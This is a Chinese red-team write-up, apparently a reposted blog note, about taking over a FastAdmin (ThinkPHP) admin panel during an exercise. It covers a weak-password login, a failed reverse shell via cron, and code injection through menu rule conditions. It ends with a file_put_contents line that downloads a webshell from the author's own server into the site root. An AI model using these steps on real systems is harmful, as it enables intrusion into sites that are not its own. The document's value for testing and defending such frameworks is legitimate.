FastAdmin介绍
FastAdmin是基于ThinkPHP5和Bootstrap的极速后台开发框架,基于ThinkPHP行为功能实现的插件机制,拥有丰富的插件和扩展,可直接在线安装卸载。
基于完善的Auth权限控制管理、无限父子级权限分组、可自由分配子级权限、一个管理员可同时属于多个组别。
测试过程
在某次HVV的打点过程中,发现某资产为FastAdmin搭建。下图为FastAdmin的报错页面,根据经验可判断该网站为FastAdmin搭建。
输入admin.php进入后台登录页面,弱口令进入后台。
进入后台找功能点getshell。后台默认会有插件管理功能,但是我们在后台没有找到这个功能,我们直接访问插件管理的地址
/admin/addon?ref=addtabs
理论上离线安装 Fileix文件管理器 ,然后上传一句话木马就可以getshell,但是很可惜失败了。
接着翻后台,发现有定时任务功能,尝试反弹shell,写入反弹shell的语句后,在服务器上nc监听等待回连,但是发现并没有执行。
后面一看之前管理员设置过的定时任务也没有执行过,失败!
继续翻后台,发现在菜单规则中可以创建规则条件,尝试在功能点中写入phpinfo()。
必须写在权限管理中!!!
然后来到管理员管理中,添加一个管理员。
所属组别必须为二级管理员组!!!
添加完成之后,重新用新添加的账户登录后台,可以发现phpinfo()被成功执行。
通过搜索$_SERVER[‘DOCUMENT_ROOT’]获取网站根目录,为/www/wwwroot/xxxxxxxxx/
找到根路径后注销账户,准备一个webshell木马名为1.php,放在自己的服务器上,使用python启动一个临时web。
python3 -m http.server 8080
在回到管理后台当中,在同样的位置写入如下语句,将远程服务器的webshell木马下载到网站根目录。
file_put_contents('/www/wwwroot/xxxxxxxxx/shell.php',file_get_contents('临时web地址/1.php'))
保存完成后,再次使用刚才新创建的用户登录
webshell木马已被成功写入。
总结
在打点过程中, 通过指纹识别软件进行指纹识别进行相应的漏洞利用,在未识别出指纹的需人工判断,根据报错页面的样式识别指纹一种较好的方法。
文章来源:culprit(语雀)
原文地址:https://www.yuque.com/culprit/note/nyvtuz
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读